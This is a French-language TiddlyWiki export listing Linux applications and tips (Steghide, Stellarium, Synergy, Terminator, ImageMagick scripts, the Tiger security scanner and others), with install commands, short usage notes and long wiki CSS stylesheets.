Mots clef: sécurité, chiffrement, stéganographie
Liens: [[site officiel|http://steghide.sourceforge.net/]]
<<<
''Description: ''Steghide est un logiciel de stéganographie, c'est-à-dire permettant de cacher de l'information, par exemple un mot de passe, dans une image ou un fichier son.

''Installation: ''{{{# aptitude install steghide}}}

''Utilisation: ''
Pour créer l'image secret.jpg contenant les informations du fichier monSecret.txt dans l'image soleil.jpg:
{{{
steghide embed -cf soleil.jpg -ef monSecret.txt 
}}}
Le logiciel vous demandera ensuite un petit mot de passe et votre fichier sera caché.

Pour savoir si l'image contient un fichier caché:
{{{
$ steghide –info soleil.jpg 
}}}
extraction du fichier caché:
{{{
$ steghide –extract -sf photo_publique.jpg 
}}}
''Notes: ''Voir aussi OutGuess
''Nom de l'application'': ''@@color(red): Stellarium @@''
Mots clef: science, astronomie
Liens: [[site officiel| http://www.stellarium.org/ ]]
<<<
''Description: ''Programme de planetarium très convivial utilisant open-Gl.

''Installation: ''[[via apt|apt://stellarium]]

''Utilisation: ''via l'interface graphique

''Notes: ''voir aussi CelestiA
''Nom de l'application'': ''@@color(red): Streamtuner @@''
Mots clef: audio radio
<<<
''Description: ''Une quantité impressionnate de radios en streaming

''Installation: ''{{{apt-get install streamtuner}}}
<<<
.header {
	background: #eee;
	border-bottom: 1px solid #999;
	font-weight: bold;
}

.headerShadow {
	color: #000;
	left: 1px;
	top: 1px;
}

.headerShadow a {
	font-weight: normal;
	color: #000;
}

.headerForeground {
	color: #18f;
	left: 0px;
	top: 0px;
}

.headerForeground a:hover {
	background-color: #18f;
	color: #fff;
}

#mainMenu {
	position: static;
	width: auto;
	left: auto;
	text-align: left;
	padding: 0em 0.5em 0em 0.5em;
	background-color: #eee;
	border-bottom: 1px solid #999;
}

#displayArea {
	margin-left: 1em;
}

.HideSideBarButton {
        float:right;
}

.searchBar  {
        float:right;
}
/*{{{*/
body {
	background: [[ColorPalette::Background]];
	color: [[ColorPalette::Foreground]];
}

a{
	color: [[ColorPalette::PrimaryMid]];
}

a:hover{
	background: [[ColorPalette::PrimaryMid]];
	color: [[ColorPalette::Background]];
}

a img{
	border: 0;
}

h1,h2,h3,h4,h5 {
	color: [[ColorPalette::SecondaryDark]];
	background: [[ColorPalette::PrimaryPale]];
}

.button {
	color: [[ColorPalette::PrimaryDark]];
	border: 1px solid [[ColorPalette::Background]];
}

.button:hover {
	color: [[ColorPalette::PrimaryDark]];
	background: [[ColorPalette::SecondaryLight]];
	border-color: [[ColorPalette::SecondaryMid]];
}

.button:active {
	color: [[ColorPalette::Background]];
	background: [[ColorPalette::SecondaryMid]];
	border: 1px solid [[ColorPalette::SecondaryDark]];
}

.header {
	background: [[ColorPalette::PrimaryMid]];
}

.headerShadow {
	color: [[ColorPalette::Foreground]];
}

.headerShadow a {
	font-weight: normal;
	color: [[ColorPalette::Foreground]];
}

.headerForeground {
	color: [[ColorPalette::Background]];
}

.headerForeground a {
	font-weight: normal;
	color: [[ColorPalette::PrimaryPale]];
}

.tabSelected{
	color: [[ColorPalette::PrimaryDark]];
	background: [[ColorPalette::TertiaryPale]];
	border-left: 1px solid [[ColorPalette::TertiaryLight]];
	border-top: 1px solid [[ColorPalette::TertiaryLight]];
	border-right: 1px solid [[ColorPalette::TertiaryLight]];
}

.tabUnselected {
	color: [[ColorPalette::Background]];
	background: [[ColorPalette::TertiaryMid]];
}

.tabContents {
	color: [[ColorPalette::PrimaryDark]];
	background: [[ColorPalette::TertiaryPale]];
	border: 1px solid [[ColorPalette::TertiaryLight]];
}

.tabContents .button {
	 border: 0;}

#sidebar {
}

#sidebarOptions input {
	border: 1px solid [[ColorPalette::PrimaryMid]];
}

#sidebarOptions .sliderPanel {
	background: [[ColorPalette::PrimaryPale]];
}

#sidebarOptions .sliderPanel a {
	border: none;
	color: [[ColorPalette::PrimaryMid]];
}

#sidebarOptions .sliderPanel a:hover {
	color: [[ColorPalette::Background]];
	background: [[ColorPalette::PrimaryMid]];
}

#sidebarOptions .sliderPanel a:active {
	color: [[ColorPalette::PrimaryMid]];
	background: [[ColorPalette::Background]];
}

.wizard {
	background: [[ColorPalette::SecondaryLight]];
	border-top: 1px solid [[ColorPalette::SecondaryMid]];
	border-left: 1px solid [[ColorPalette::SecondaryMid]];
}

.wizard h1 {
	color: [[ColorPalette::SecondaryDark]];
}

.wizard h2 {
	color: [[ColorPalette::Foreground]];
}

.wizardStep {
	background: [[ColorPalette::Background]];
	border-top: 1px solid [[ColorPalette::SecondaryMid]];
	border-bottom: 1px solid [[ColorPalette::SecondaryMid]];
	border-left: 1px solid [[ColorPalette::SecondaryMid]];
}

.wizard .button {
	color: [[ColorPalette::Background]];
	background: [[ColorPalette::PrimaryMid]];
	border-top: 1px solid [[ColorPalette::PrimaryLight]];
	border-right: 1px solid [[ColorPalette::PrimaryDark]];
	border-bottom: 1px solid [[ColorPalette::PrimaryDark]];
	border-left: 1px solid [[ColorPalette::PrimaryLight]];
}

.wizard .button:hover {
	color: [[ColorPalette::PrimaryLight]];
	background: [[ColorPalette::PrimaryDark]];
	border-color: [[ColorPalette::PrimaryLight]];
}

.wizard .button:active {
	color: [[ColorPalette::Background]];
	background: [[ColorPalette::PrimaryMid]];
	border-top: 1px solid [[ColorPalette::PrimaryLight]];
	border-right: 1px solid [[ColorPalette::PrimaryDark]];
	border-bottom: 1px solid [[ColorPalette::PrimaryDark]];
	border-left: 1px solid [[ColorPalette::PrimaryLight]];
}

#messageArea {
	border: 1px solid [[ColorPalette::SecondaryDark]];
	background: [[ColorPalette::SecondaryMid]];
	color: [[ColorPalette::PrimaryDark]];
}

#messageArea .button {
	padding: 0.2em 0.2em 0.2em 0.2em;
	color: [[ColorPalette::PrimaryDark]];
	background: [[ColorPalette::Background]];
}

.popup {
	background: [[ColorPalette::PrimaryLight]];
	border: 1px solid [[ColorPalette::PrimaryMid]];
}

.popup hr {
	color: [[ColorPalette::PrimaryDark]];
	background: [[ColorPalette::PrimaryDark]];
	border-bottom: 1px;
}

.listBreak div{
	border-bottom: 1px solid [[ColorPalette::PrimaryDark]];
}

.popup li.disabled {
	color: [[ColorPalette::PrimaryMid]];
}

.popup li a, .popup li a:visited {
	color: [[ColorPalette::TertiaryPale]];
	border: none;
}

.popup li a:hover {
	background: [[ColorPalette::PrimaryDark]];
	color: [[ColorPalette::Background]];
	border: none;
}

.tiddler .defaultCommand {
 font-weight: bold;
}

.shadow .title {
	color: [[ColorPalette::TertiaryDark]];
}

.title {
	color: [[ColorPalette::SecondaryDark]];
}

.subtitle {
	color: [[ColorPalette::TertiaryDark]];
}

.toolbar {
	color: [[ColorPalette::PrimaryMid]];
}

.tagging, .tagged {
	border: 1px solid [[ColorPalette::TertiaryPale]];
	background-color: [[ColorPalette::TertiaryPale]];
}

.selected .tagging, .selected .tagged {
	background-color: [[ColorPalette::SecondaryPale]];
	border: 1px solid [[ColorPalette::SecondaryPale]];
}

.tagging .listTitle, .tagged .listTitle {
	color: [[ColorPalette::PrimaryDark]];
}

.tagging .button, .tagged .button {
		border: none;
}

.footer {
	color: [[ColorPalette::TertiaryLight]];
}

.selected .footer {
	color: [[ColorPalette::TertiaryMid]];
}

.sparkline {
	background: [[ColorPalette::PrimaryPale]];
	border: 0;
}

.sparktick {
	background: [[ColorPalette::PrimaryDark]];
}

.error, .errorButton {
	color: [[ColorPalette::Foreground]];
	background: [[ColorPalette::Error]];
}

.warning {
	color: [[ColorPalette::Foreground]];
	background: [[ColorPalette::SecondaryPale]];
}

.cascade {
	background: [[ColorPalette::TertiaryPale]];
	color: [[ColorPalette::TertiaryMid]];
	border: 1px solid [[ColorPalette::TertiaryMid]];
}

.imageLink, #displayArea .imageLink {
	background: transparent;
}

.viewer .listTitle {list-style-type: none; margin-left: -2em;}

.viewer .button {
	border: 1px solid [[ColorPalette::SecondaryMid]];
}

.viewer blockquote {
	border-left: 3px solid [[ColorPalette::TertiaryDark]];
}

.viewer table {
	border: 2px solid [[ColorPalette::TertiaryDark]];
}

.viewer th, thead td {
	background: [[ColorPalette::SecondaryMid]];
	border: 1px solid [[ColorPalette::TertiaryDark]];
	color: [[ColorPalette::Background]];
}

.viewer td, .viewer tr {
	border: 1px solid [[ColorPalette::TertiaryDark]];
}

.viewer pre {
	border: 1px solid [[ColorPalette::SecondaryLight]];
	background: [[ColorPalette::SecondaryPale]];
}

.viewer code {
	color: [[ColorPalette::SecondaryDark]];
}

.viewer hr {
	border: 0;
	border-top: dashed 1px [[ColorPalette::TertiaryDark]];
	color: [[ColorPalette::TertiaryDark]];
}

.highlight, .marked {
	background: [[ColorPalette::SecondaryLight]];
}

.editor input {
	border: 1px solid [[ColorPalette::PrimaryMid]];
}

.editor textarea {
	border: 1px solid [[ColorPalette::PrimaryMid]];
	width: 100%;
}

.editorFooter {
	color: [[ColorPalette::TertiaryMid]];
}

/*}}}*/
/*{{{*/
* html .tiddler {
    height: 1%;
}

body {
	font-size: .75em;
	font-family: arial,helvetica;
	margin: 0;
	padding: 0;
}

h1,h2,h3,h4,h5 {
	font-weight: bold;
	text-decoration: none;
	padding-left: 0.4em;
}

h1 {font-size: 1.35em;}
h2 {font-size: 1.25em;}
h3 {font-size: 1.1em;}
h4 {font-size: 1em;}
h5 {font-size: .9em;}

hr {
	height: 1px;
}

a{
	text-decoration: none;
}

dt {font-weight: bold;}

ol { list-style-type: decimal }
ol ol { list-style-type: lower-alpha }
ol ol ol { list-style-type: lower-roman }
ol ol ol ol { list-style-type: decimal }
ol ol ol ol ol { list-style-type: lower-alpha }
ol ol ol ol ol ol { list-style-type: lower-roman }
ol ol ol ol ol ol ol { list-style-type: decimal }

.txtOptionInput {
	width: 11em;
}

#contentWrapper .chkOptionInput {
	border: 0;
}

.externalLink {
	text-decoration: underline;
}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {
	font-weight: bold;
}

.tiddlyLinkNonExisting {
	font-style: italic;
}

/* the 'a' is required for IE, otherwise it renders the whole tiddler a bold */
a.tiddlyLinkNonExisting.shadow {
	font-weight: bold;
}

#mainMenu .tiddlyLinkExisting, 
#mainMenu .tiddlyLinkNonExisting,
#sidebarTabs .tiddlyLinkNonExisting{
 font-weight: normal;
 font-style: normal;
}

#sidebarTabs .tiddlyLinkExisting {
 font-weight: bold;
 font-style: normal;
}

.header {
		position: relative;
}

.header a:hover {
	background: transparent;
}

.headerShadow {
	position: relative;
	padding: 1.5em 0em 1em 1em;
	left: -1px;
	top: -1px;
}

.headerForeground {
	position: absolute;
	padding: 1.5em 0em 1em 1em;
	left: 0px;
	top: 0px;
}

.siteTitle {
	font-size: 3em;
}

.siteSubtitle {
	font-size: 1.2em;
}

#mainMenu {
	position: absolute;
	left: 0;
	width: 10em;
	text-align: right;
	line-height: 1.6em;
	padding: 1.5em 0.5em 0.5em 0.5em;
	font-size: 1.1em;
}

#sidebar {
	position: absolute;
	right: 3px;
	width: 16em;
	font-size: .9em;
}

#sidebarOptions {
	padding-top: 0.3em;
}

#sidebarOptions a {
	margin: 0em 0.2em;
	padding: 0.2em 0.3em;
	display: block;
}

#sidebarOptions input {
	margin: 0.4em 0.5em;
}

#sidebarOptions .sliderPanel {
	margin-left: 1em;
	padding: 0.5em;
	font-size: .85em;
}

#sidebarOptions .sliderPanel a {
	font-weight: bold;
	display: inline;
	padding: 0;
}

#sidebarOptions .sliderPanel input {
	margin: 0 0 .3em 0;
}

#sidebarTabs .tabContents {
	width: 15em;
	overflow: hidden;
}

.wizard {
	padding: 0.1em 0em 0em 2em;
}

.wizard h1 {
	font-size: 2em;
	font-weight: bold;
	background: none;
	padding: 0em 0em 0em 0em;
	margin: 0.4em 0em 0.2em 0em;
}

.wizard h2 {
	font-size: 1.2em;
	font-weight: bold;
	background: none;
	padding: 0em 0em 0em 0em;
	margin: 0.2em 0em 0.2em 0em;
}

.wizardStep {
	padding: 1em 1em 1em 1em;
}

.wizard .button {
	margin: 0.5em 0em 0em 0em;
	font-size: 1.2em;
}

#messageArea {
position:absolute; top:0; right:0; margin: 0.5em; padding: 0.5em;
}

*[id='messageArea'] {
position:fixed !important; z-index:99;}

.messageToolbar {
display: block;
text-align: right;
}

#messageArea a{
	text-decoration: underline;
}

.popup {
	font-size: .9em;
	padding: 0.2em;
	list-style: none;
	margin: 0;
}

.popup hr {
	display: block;
	height: 1px;
	width: auto;
	padding: 0;
	margin: 0.2em 0em;
}

.listBreak {
	font-size: 1px;
	line-height: 1px;
}

.listBreak div {
	margin: 2px 0;
}

.popup li.disabled {
	padding: 0.2em;
}

.popup li a{
	display: block;
	padding: 0.2em;
}

.tabset {
	padding: 1em 0em 0em 0.5em;
}

.tab {
	margin: 0em 0em 0em 0.25em;
	padding: 2px;
}

.tabContents {
	padding: 0.5em;
}

.tabContents ul, .tabContents ol {
	margin: 0;
	padding: 0;
}

.txtMainTab .tabContents li {
	list-style: none;
}

.tabContents li.listLink {
	 margin-left: .75em;
}

#displayArea {
	margin: 1em 17em 0em 14em;
}


.toolbar {
	text-align: right;
	font-size: .9em;
	visibility: hidden;
}

.selected .toolbar {
	visibility: visible;
}

.tiddler {
	padding: 1em 1em 0em 1em;
}

.missing .viewer,.missing .title {
	font-style: italic;
}

.title {
	font-size: 1.6em;
	font-weight: bold;
}

.missing .subtitle {
 display: none;
}

.subtitle {
	font-size: 1.1em;
}

.tiddler .button {
	padding: 0.2em 0.4em;
}

.tagging {
margin: 0.5em 0.5em 0.5em 0;
float: left;
display: none;
}

.isTag .tagging {
display: block;
}

.tagged {
margin: 0.5em;
float: right;
}

.tagging, .tagged {
font-size: 0.9em;
padding: 0.25em;
}

.tagging ul, .tagged ul {
list-style: none;margin: 0.25em;
padding: 0;
}

.tagClear {
clear: both;
}

.footer {
	font-size: .9em;
}

.footer li {
display: inline;
}

* html .viewer pre {
	width: 99%;
	padding: 0 0 1em 0;
}

.viewer {
	line-height: 1.4em;
	padding-top: 0.5em;
}

.viewer .button {
	margin: 0em 0.25em;
	padding: 0em 0.25em;
}

.viewer blockquote {
	line-height: 1.5em;
	padding-left: 0.8em;
	margin-left: 2.5em;
}

.viewer ul, .viewer ol{
	margin-left: 0.5em;
	padding-left: 1.5em;
}

.viewer table {
	border-collapse: collapse;
	margin: 0.8em 1.0em;
}

.viewer th, .viewer td, .viewer tr,.viewer caption{
	padding: 3px;
}

.viewer table.listView {
	font-size: 0.85em;
	margin: 0.8em 1.0em;
}

.viewer table.listView th, .viewer table.listView td, .viewer table.listView tr {
	padding: 0px 3px 0px 3px;
}

.viewer pre {
	padding: 0.5em;
	margin-left: 0.5em;
	font-size: 1.2em;
	line-height: 1.4em;
	overflow: auto;
}

.viewer code {
	font-size: 1.2em;
	line-height: 1.4em;
}

.editor {
font-size: 1.1em;
}

.editor input, .editor textarea {
	display: block;
	width: 100%;
	font: inherit;
}

.editorFooter {
	padding: 0.25em 0em;
	font-size: .9em;
}

.editorFooter .button {
padding-top: 0px; padding-bottom: 0px;}

.fieldsetFix {border: 0;
padding: 0;
margin: 1px 0px 1px 0px;
}

.sparkline {
	line-height: 1em;
}

.sparktick {
	outline: 0;
}

.zoomer {
	font-size: 1.1em;
	position: absolute;
	padding: 1em;
}

.cascade {
	font-size: 1.1em;
	position: absolute;
	overflow: hidden;
}
/*}}}*/
Astuce: ''Laisse la console vous insulter en cas de mauvais mot de passe''
Mots clef: Futilitaire, gag
Os: Linux
<<<
Lancer:
{{{# visudo}}}
Compléter la ligne commençant par //Defaults// de la manière suivante:
{{{
Defaults !lecture,tty_tickets,!fqdn,insults
}}}
Puis enregistrer. 
Faire ensuite:
{{{
$ sudo -K
}}}
Exemple avec un mauvais mot de passe:
{{{
$ sudo -s
Password:
You do that again and see what happens...
Password:
}}}
''Nom de l'application'': ''@@color(red): Sunclock @@''
Mots clef: futilitaire, géographie
Liens: [[site officiel|http://www.celtes.com]]
<<<
''Description: ''SunClock affiche une carte de la terre ainsi que les zones éclairées ou non par le soleil, permettant ainsi de visualiser les levers et couchers du soleil à une certaine heure sur l'ensemble du globe.

''Installation: ''{{{apt-get install sunclock}}}

''Notes: ''
#Il y a de nombreuses options accessible à partir des touches du clavier.
#Pour un logiciel très bien réalisé de vision de planète, voir XPlanet.
''Nom de l'application'': ''@@color(red): Super Tux Kart @@''
Mots clef: jeux, voiture
Liens: [[site officiel| http://supertuxkart.berlios.de/ ]]
<<<
''Description: ''Pour qui aime les jeux de voitures, plus besoin d'acquérir une onéreuse console de jeux. Super Tux va vous époustouffler !

''Installation: ''{{{# aptitude install supertuxkart}}}
Astuce: ''Passer d'un espace de travail à un autre en positionnant le curseur sur les bords de l'écran''
Mots clef: utilitaire, kde, bureau
Os: Linux
<<<
Pour gnome, il existe un utilitaire qui permet d'associer une action (passer d'un workspace à un autre) à la position du curseur à l'écran, il s'agit de BrightSide. Pour kde, c'est encore plus simple, en allant dans Kcontrol>Desktop>Window Behavior>Advanced tab il est très simple de configurer cette fonction. Veuillez cependant prendre garde à augmenter le temps de réaction pour éviter que la fonctionne ne devienne insuportable
''Nom de l'application'': ''@@color(red): Synergy @@''
Mots clef: partage, réseau, écran
Liens: [[source| http://blog.mobilisoft.com/?2007/09/13/178-partager-son-clavier-et-sa-souris ]]
<<<
''Description: ''Synergy permet le partage du clavier et de la souris entre deux ordis. Il s'agit donc d'une version software d'un switch KVM.

''Installation: ''{{{# aptitude install synergy}}}

''Utilisation: ''
*Configuration du serveur nomOrdi1
Tout d'abord il s'agit de créer le fichier de configuration dans //~/.synergy.conf//
On peut ainsi avoir plus de 2 ordis.
{{{
section: screens
        nomOrdi1:
        nomOrdi2:
end
section: links
        nomOrdi1:
                right = nomOrdi2
        nomOrdi2:
                left = nomOrdi1
end
}}}
*Démarrage 
**Sur le serveur nomOrdi1
{{{user@nomOrdi1:~$ synergys}}}
**Sur le client nomOrdi2
{{{user@nomOrdi2:~$$ synergyc nomOrdi1}}}

''Notes: ''
#Il existe une version GUI: [[quicksynergy|http://quicksynergy.sourceforge.net]]
#le copier/coller marche d'une machine à l'autre.
#Synergy est multi-OS
#Attention à la sécurité, les infos transite en clair sur le réseau local
#voir aussi X2X qui permet une utilisation sécurisée (via ssh) facile
''Nom de l'application'': ''@@color(red): Synapse @@''
Mots clef: lanceur, gnome
Liens: [[source| http://www.webdevonlinux.fr/2010/12/synapse-un-launcher-pour-ubuntu-des-plus-sexy/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+webdevonlinux%2FHrzu+(Webdevonlinux) ]]
<<<
''Description: ''Synapse est, comme GnomeDo et KataPult, un lanceur d'applications. Il suffit de taper quelques lettres. Il existe déjà plusieurs thèmes accessibles via le menu settings. Synapse integre Zeitgeist signifie que non seulement il lance les applications mais permet également d’accéder à votre système de fichiers en utilisant le journal Zeitgeist.

''Installation: '' Ubuntu 10.10

Pour Synapse
{{{
# add-apt-repository: ppa:synapse-core/ppa
# apt-get update
# apt-get install synapse
}}}
Pour Zeitgeist
{{{
# add-apt-repository ppa:zeitgeist/ppa
# apt-get update
# apt-get install zeitgeist-fts-extension zeitgeist-datasource-bzr zeitgeist-datasource-emacs zeitgeist-datasource-eog zeitgeist-datasource-geany zeitgeist-datasource-gedit zeitgeist-datasource-rhythmbox zeitgeist-datasource-totem zeitgeist-datasource-vim
}}}

''Utilisation: ''le raccourci pour lancer Synapse est CTRL + Espace. Les préférences permettent de changer ce raccourcis et de lancer Synapse au démarrage.

''Notes: ''Pour avoir un thème noir, enregistré le fichier suivant dans ~/.config/synapse/gtkrc
{{{
gtk_color_scheme = "green:#11ffeb\nbg_selected:#007269\nbg_normal:#232323\nfg_normal:#f5f5f5\nfg_selected:#ffffff\n"

style "throbber"
{
	fg[NORMAL] = @green
	bg[NORMAL] = shade (1.5 ,@bg_normal)
}

style "synapse"
{
	bg[NORMAL] = @bg_normal
	bg[SELECTED] = @bg_selected
	base[SELECTED] =@bg_selected
	fg[NORMAL] = @fg_normal
	fg[SELECTED] = @fg_normal
	
	base[NORMAL] = lighter (lighter (@bg_normal))
	base[SELECTED] = @bg_selected
	text[NORMAL] = @fg_normal
	text[SELECTED] = @fg_normal

	engine "murrine"
	{
		contrast = 0.6
		arrowstyle = 2
		reliefstyle = 3
		highlight_shade = 1.0
		glazestyle = 0
		gradient_shades = {1.2, 1.0, 1.0, 0.8}
		roundness = 4
		lightborder_shade = 1.26
		lightborderstyle = 1
		separatorstyle = 1
	}
}

widget_class "*SynapseWindow*" style "synapse"

#widget_class "*SynapseGuiListView*" style : highest "listview"

widget_class "*SynapseGuiMenuThrobber*" style : highest "throbber"
}}}
Liste d'éléments à ajouter:
<<tabs txtFavourite
Urgent "Priority 1" ToDo1
Important "Priority 2" ToDo2
Yapaslfeu "Priority 3" ToDo3
>>
''Nom de l'application'': ''@@color(red): Tab Mix Plus @@''
Mots clef: Extension Firefox
Liens: [[Extension Firefox|https://addons.mozilla.org/fr/firefox/addon/1122 ]]
<<<
''Description: ''Cette extension Firefox permet d'offrir une large palette de préférences et d'options pour les onglets.

''Installation: ''via le site de l'extension Firefox.
Astuce: ''Mettre à jour les tags mp3 pour un ensemble de fichiers''
Mots clef: tags, mp3, id3
Os: Linux
Liens: [[source|  ]]
<<<
Après avoir installé le programme eyeD3 (voir source pour des alternatives), simplement
{{{
find -name "*.mp3" -print0|xargs -0 eyeD3 -G Salsa
}}}

''Notes: ''Voir EasyTag pour un bon logiciel avec gui et aussi Id3Ed pour un autre logiciel en ligne de commande.
''Nom de l'application'': ''@@color(red): Tasque @@''
Mots clef: todo's, organisation
Liens: [[source| http://www.rememberthemilk.com/home/barochat/#section.tasks ]]
<<<
''Description: ''Petit bien intégré dans gnome permettant la gestion de liste de tâches et la synchronisation pour le site www.rememberthemilk.com

''Installation: ''[[via apt|apt://tasque]].

''Utilisation: ''Nécessite ensuite le choix du service et l'autorisation de l'api par ce dernier.

''Note: ''voir aussi ThinkingRock
''Nom de l'application'': ''@@color(red): Tastymenu @@''
Mots clef: kde, menu, programmes
Liens: [[source| http://totalement.geek.oupas.fr/post/2007/04/23/Alternative-a-KMenu ]]
<<<
''Description: ''Tastymenu est une alternative esthétique à Kmenu sous kde.

''Installation: ''
Télécharger le paquet .deb
{{{
$ wget http://bennid.de/files/linux/debs/kubuntu/feisty/tastymenu_0.7.1-1_i386.deb
}}}
Puis installer le paquet
{{{
# dpkg -i tastymenu_0.7.1-1_i386.deb
}}}

Ensuite pour ajouter Tastymenu à la barre des tâches (kicker) après un clic droit sur ce-dernier, choisir "ajouter une applet" et chercher Tastymenu pour l'ajouter. Ensuite ne reste plus qu'à supprimer Kmenu et à déplacer Tastymenu

''Notes: ''Il est possible d'utiliser KerrY pour l'option de recherche disponible.
''Nom de l'application'': ''@@color(red): TDFSB @@''
Mots clef: explorateur de fichiers

<<<
''Description: ''explorateur de fichiers en 3D. Pas vraiment efficace mais beau et original: se déplacer dans ses dossier comme la visite d'une ville à vole d'oiseau;)

''Installation: ''[[via apt|apt://tdfsb]]

''Utilisation:''
*Déplacements: flèches directionnelles accompagnées de la souris pour diriger le regard (représenté par une croix).
*page up, page down du clavier pour vous déplacer en hauteur.
*Touche d pour faire apparaître le nom classique des répertoires (/opt par exemple).
*Touche h pour l'aide.
''Nom de l'application'': ''@@color(red): tellico @@''
Mots clef: http://periapsis.org/tellico/
Liens: [[site officiel|http://periapsis.org/tellico/]]
<<<
''Description: ''Tellico est un logiciel de gestion de collections personnelles destiné à l’environnement de bureau KDE mais qui fonctionne également sous gnome. Il permet également l'importation via le net sur des sites comme amazone.com ou imdb.com.

''Installation: ''[[via apt|apt://tellico]]

''Note: ''voir aussi GcStar
''Nom de l'application'': ''@@color(red): Terminator @@''
Mots clef: terminal, console, splitting
<<<
''Description: ''Terminator est une console que l'on peut très facilement partager en autant de consoles que l'on désire. 

''Installation: ''[[via apt|apt://terminator]]

''Utilisation: ''via les raccourcis clavier suivants

Ctrl+Shift+E: partager le terminal verticalement

Ctrl+Shift+O: partager le terminal horizontalement

Ctrl+Shift+P: se déplacer vers le terminal précédant

Ctrl+Shift+N: partager le terminal verticalement

Ctrl+Shift+W: fermer ce terminal

Ctrl+Shift+Q: tout fermer

F11: fullscreen

''Notes: ''
#Le profil est repris de celui de gnome-terminal
#Idéal en complément de YaKuake.
Astuce: ''Incruster un terminal transparent en fond d'écran''
Mots clef: terminal, console, gadget
Os: Linux
<<<
Après avoir installé Eterm ({{{# aptitude install Eterm}}}), on peut lancer ce terminal pour qu'il soit comme incrusté dans le fond d'écran à l'aide de la commande suivante (que l'on peut mettre dans un script):
{{{
kstart --alldesktops --keepbelow --skippager --skiptaskbar Eterm --geometry 95x40+265+215 --trans=true --borderless --scrollbar=false --buttonbar=false -f white --cmod 99 &
}}}
Attention, il se peut que le terminal ouvert masque certaines icônes du bureau.
Bref: sympa mais ne vaut pas YaKuake
Astuce: ''Convertir un texte en une image''
Mots clef: conversion
Os: Linux
Liens: [[source|http://www.imagemagick.org/Usage/text/]]
<<<
* Grâce à ImageMagick
{{{
$ convert -background lightblue -fill blue -font Courier -pointsize 72 label:"Si c'est pas magique ça ?" label.gif 
}}}
pour avoir une liste des polices disponibles
{{{$ convert -list Type}}} ou {{{convert -list Font}}}
un exemple plus complexe:
{{{
$ convert -size 320x120 xc:lightblue -draw "fill tomato  circle 250,30 310,30 fill limegreen  circle 55,75 15,80 font Courier  font-size 72  decorate UnderLine fill dodgerblue  stroke navy  stroke-width 2                translate 10,110 rotate -15 text 0,0 ' Anthony '" draw_mvg.gif
}}}
''Nom de l'application'': ''@@color(red): Thinkingrock @@''
Mots clef: mind-mapping, organisation, todo
Liens: [[site officiel| http://www.trgtd.com.au/ ]]
<<<
''Description: ''Thinking Rock est un logiciel évolué d'organisation (type todo's) basé sur la méthode GTD ([[Getting Things Done|http://fr.wikipedia.org/wiki/GTD]]) .

''Installation: ''Logiciel écrit en Java, télechargeable sur [[sourceforge.net|http://sourceforge.net/project/showfiles.php?group_id=194713]]

''Notes: ''voir aussi TasQue pour un gestionnaire de tâche plus classique.
But: ''Générer de manière automatique des miniatures en ligne de commande''
Mots clef: image
Liens: [[source|http://blognote-info.com/index.php?2006/08/30/473-generer-des-thumbnails-en-ligne-de-commande]]
<<<
''Notes: ''Utilise la commande {{{convert}}} nécessitant le paquet //imagemagick// ({{{#aptitude install imagemagick}}})
''Script: ''
{{{
#!/bin/bash
 
# verifying usage
if [ "$#" = "0" -o "$1" = "-h" -o "$1" = "--help" ]; then
	echo Usage : $(basename $0) image [ image ... ]
	echo Used to generate thumbnails of a list of images.
	exit 1
fi
 
# loop that enables the treatment of a list of images
for i in "$@"; do
	# verifying file
	if [ -f "$i" ]; then
		# get image infos
		iinfos=$(identify -format "%m:%wx%h:%t:%e:%b" "$i")
 
		# get image type
		itype=$(echo $iinfos | awk -F":" '{print $1}')
 
		# get image resolution
		resolution=$(echo $iinfos | awk -F":" '{print $2}')
 
		# get image name, without extension
		name=$(echo $iinfos | awk -F":" '{print $3}')
 
		# get extension
		extension=$(echo $iinfos | awk -F":" '{print $4}')
 
		# get image size
		size=$(echo $iinfos | awk -F":" '{print $5}')
 
		# convert size to human readable format
		if [ $size -ge 1048576 ]; then
			sizeh="$(( size / 1048576 )) Mo"
		elif [ $size -ge 1024 ]; then
			sizeh="$(( size / 1024 )) Ko"
		else
			sizeh="$size o"
		fi
 
		# resize image and add infos
		convert "$i" -resize 400x200 -gravity South -background Black -fill white -splice 0x18 -draw "text 0,2 '$itype : $resolution - $sizeh'" "$name"-thumb.$extension
	else
		echo "$i" : file does not exist
	fi
done
}}}
<<<
Astuce: ''Accéder aux comptes Gmail, yahoo, hotmail,... depuis le client mail thunderbird''
Mots clef: mail, thunderbird
Os: Tous
Lien: [[site officiel|http://webmail.mozdev.org/index.html]]
<<<
L'extension thunderbird [[webmail|http://webmail.mozdev.org/index.html]] permet de paramétrer rapidement et facilement l'accès aux messagerie gmail, hotmail etc. via le logiciel thunderbird. Le site contient toutes les informations nécessaires pour cela.
<<<
''Nom de l'application'': ''@@color(red): Tiger @@''
Mots clef: sécurité, scan, rootkits
<<<
''Description: ''Tiger est un un script bash permettant de tester la sécurité des système Unix. Il permet de scanner les fichiers de configuration, les fichiers système et utilisateurs afin de déceler d'éventuelles failles.

''Installation: ''[[via apt|apt://tiger]]

''Utilisation: ''{{{# tiger}}}
/***
|Name|TiddlerEncryptionPlugin|
|Author|Lyall Pearce|
|Source|http://www.Remotely-Helpful.com/TiddlyWiki/TiddlerEncryptionPlugin.html|
|License|[[Creative Commons Attribution-Share Alike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|Version|3.2.1|
|~CoreVersion|2.4.0|
|Requires|None|
|Overrides|store.getSaver().externalizeTiddler(), store.getTiddler() and store.getTiddlerText()|
|Description|Encrypt/Decrypt Tiddlers with a Password key|

!!!!!Usage
<<<
* Tag a tiddler with Encrypt(prompt)
** Consider the 'prompt' something to help you remember the password with. If multiple tiddlers can be encrypted with the same 'prompt' and you will only be asked for the password once.
* Upon save, the Tiddler will be encrypted and the tag replaced with Decrypt(prompt).
** Failure to encrypt (by not entering a password) will leave the tiddler unencrypted and will leave the Encrypt(prompt) tag in place. This means that the next time you save, you will be asked for the password again.
** To have multiple tiddlers use the same password - simply use the same 'prompt'.
** Tiddlers that are encrypted may be automatically tagged 'excludeSearch' as there is no point in searching encrypted data - this is configurable by an option - you still may want to search the titles of encrypted tiddlers
** Tiddlers that are encrypted may be automatically tagged 'excludeLists', if you have them encrypted, you may also want to keep them 'hidden' - this is configurable by an option.
